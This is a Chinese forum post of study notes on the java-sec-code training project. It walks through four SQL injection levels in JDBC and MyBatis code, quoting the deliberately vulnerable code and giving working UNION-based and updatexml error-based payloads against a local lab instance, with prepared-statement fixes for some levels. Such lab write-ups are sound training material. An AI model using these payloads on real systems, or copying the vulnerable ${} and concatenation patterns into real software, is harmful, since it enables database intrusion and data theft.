Java代码审计sql注入

打印 上一主题 下一主题

主题 1005|帖子 1005|积分 3015

java_sec_code

该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。
每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
由于服务器到期,在线的Demo网站已不能使用。
登录用户名密码:
  1. admin/admin123
  2. joychou/joychou123
复制代码
写这个呢是因为我在前面学java的基础漏洞审计的时候,我自己在Typora中的笔记因为图床的问题,做的笔记截图全部都不见了,所以前面的笔记就作废了,然后在做这个项目的漏洞的时候再网上没有找到完整的做题笔记,我就想着自己也做嘛就写一个笔记下来记录自己的java学习过程
项目地址JoyChou93/java-sec-code: Java web common vulnerabilities and security code which is base on springboot and spring security (github.com)
sql

less-1
  1. @RequestMapping("/jdbc/vuln")
  2.     public String jdbc_sqli_vul(@RequestParam("username") String username) {
  3.         StringBuilder result = new StringBuilder();
  4.         try {
  5.             Class.forName(driver);
  6.             Connection con = DriverManager.getConnection(url, user, password);
  7.             if (!con.isClosed())
  8.                 System.out.println("Connect to database successfully.");
  9.             // sqli vuln code
  10.             Statement statement = con.createStatement();
  11.             String sql = "select * from users where username = '" + username + "'";
  12.             logger.info(sql);
  13.             ResultSet rs = statement.executeQuery(sql);
  14.             while (rs.next()) {
  15.                 String res_name = rs.getString("username");
  16.                 String res_pwd = rs.getString("password");
  17.                 String info = String.format("%s: %s\n", res_name, res_pwd);
  18.                 result.append(info);
  19.                 logger.info(info);
  20.             }
  21.             rs.close();
  22.             con.close();
  23.         } catch (ClassNotFoundException e) {
  24.             logger.error("Sorry,can`t find the Driver!");
  25.         } catch (SQLException e) {
  26.             logger.error(e.toString());
  27.         }
  28.         return result.toString();
  29.     }
复制代码
第一关是一个很基础的sql注入漏洞就是
  1. String sql = "select * from users where username = '" + username + "'";
  2.             logger.info(sql);
  3.             ResultSet rs = statement.executeQuery(sql);
复制代码
这一段代码,就是基础的就是一个正常数数据库拼接,然后我的数据库里面有admin这个用户直接拼接上去是这样的效果

闭合语句
  1. " + username + "====admin' union select 1,version(),user()--+
  2. 还是很简单就简单说一下,从字符串中的'admin' union select 1,2,3--+
  3. 修复方式:预编译修复
  4.             String sql = "select * from users where username = ?";
  5.             PreparedStatement st = con.prepareStatement(sql);
  6.             st.setString(1, username);
复制代码
less-2
  1. @GetMapping("/mybatis/vuln01")
  2.     public List<User> mybatisVuln01(@RequestParam("username") String username) {
  3.         return userMapper.findByUserNameVuln01(username);
  4.     }
复制代码
mybatis注入,这是一个存在注入语句的
这里可以直接看出来它是一个通过username这个字段去寻找参数值的,但是数据库查询肯定会存在sql语句的执行不可能不存在,这个时候我们追究其原理
直接追踪找到接口
  1. @Select("select * from users where username = '${username}'")
  2.     List<User> findByUserNameVuln01(@Param("username") String username);
复制代码
我们发现它是用的$符号去活得参数值,这种方式的话是注解配置方案是springboot和spring里面常见的配置方式
Mybatis获取值的方式有两种,分别是${} 和 #{}。这是关于用ssm组合写的框架会存在的sql注入
动态 sql 是 mybatis 的主要特性之一,在 mapper 中定义的参数传到 xml 中之后,在查询之前 mybatis 会对其进行动态解析。mybatis 为我们提供了两种支持动态 sql 的语法:#{} 以及 ${}。
  1.     在下面的语句中,如果 username 的值为 zhangsan,则两种方式无任何区别:
  2.            select * from user where name = #{name};
  3.            select * from user where name = ${name};
  4.     其解析之后的结果均为
  5.            select * from user where name = 'zhangsan';
复制代码
     但是 #{} 和 ${} 在预编译中的处理是不一样的。#{} 在预处理时,会把参数部分用一个占位符 ? 代替,变成如下的 sql 语句:
  1. select * from user where name = ?;
  2. 而 ${} 则只是简单的字符串替换,在动态解析阶段,该 sql 语句会被解析成
  3.     select * from user where name = 'zhangsan';
  4. 以上,#{} 的参数替换是发生在 DBMS 中,而 ${} 则发生在动态解析过程中。
复制代码
  1. #{}:解析的是占位符问号,可以防止SQL注入,使用了预编译。
  2. ${}:直接获取值
复制代码
还是拼接就i行了
  1. admin' union select 1,@@version,3 --+
复制代码

修复方案就是用#{},不要使用${}
less-3

# 是通过prepareStatement的预编译的,会对自动传入的数据加一个单引号。
如:order by #{orderBy},如果传入的时间是 ,则会被解析为 order by ‘update_time’ (这样排序是无效的,这也是为什么不能用#号传参的原因)。
  1. @GetMapping("/mybatis/vuln02")
  2.     public List<User> mybatisVuln02(@RequestParam("username") String username) {
  3.         return userMapper.findByUserNameVuln02(username);
  4.     }
复制代码
还是老规矩先追下去看

发现没有方法再想一想往上看一看发现一个注解@Mapper注解这个注解的意思就是它有一个映射文件反手翻一翻

然后就发现了这个select语句
  1. <select id="findByUserNameVuln02" parameterType="String" resultMap="User">
  2.         select * from users where username like '%${_parameter}%'
  3.     </select>
复制代码
追到后面发现一个like,like是模糊查询的意思
简单的插播一下like注入的原理
  1. like查询时,如果用户输入的值有"_"和"%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"等等;用户要查询"30%"(注:百分之三十)时也会出现问题。
  2. 然后:_parameter是Mybatis的内置参数,代表整个参数
  3. 我们还是直接拼接就可以了
  4. http://localhost:8080/sqli/mybatis/vuln02?username=admin' union select 1,2,3 --+
复制代码

考点

  • 通过配置文件的映射直接追踪过来是没有select语句的
less-4
  1. @GetMapping("/mybatis/orderby/vuln03")
  2.     public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
  3.         return userMapper.findByUserNameVuln03(sort);
  4.     }
复制代码
传入的值变了是个sort,sort是短的,还是追踪sql源码来看看
  1. <select id="findByUserNameVuln03" parameterType="String" resultMap="User">
  2.         select * from users
  3.         <if test="order != null">
  4.             order by ${order} asc
  5.         </if>
  6.     </select>
复制代码
看到了是order by 然后后面有asc代表的是升序排布,desc是降序排布因为是
拼接语句选择用updataxml吧直接and拼接起来就实现了
  1. **http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id and (updatexml(1,concat(0x7e,(select version()),0x7e),1))  #
复制代码
报错语句中就会看到


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

罪恶克星

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表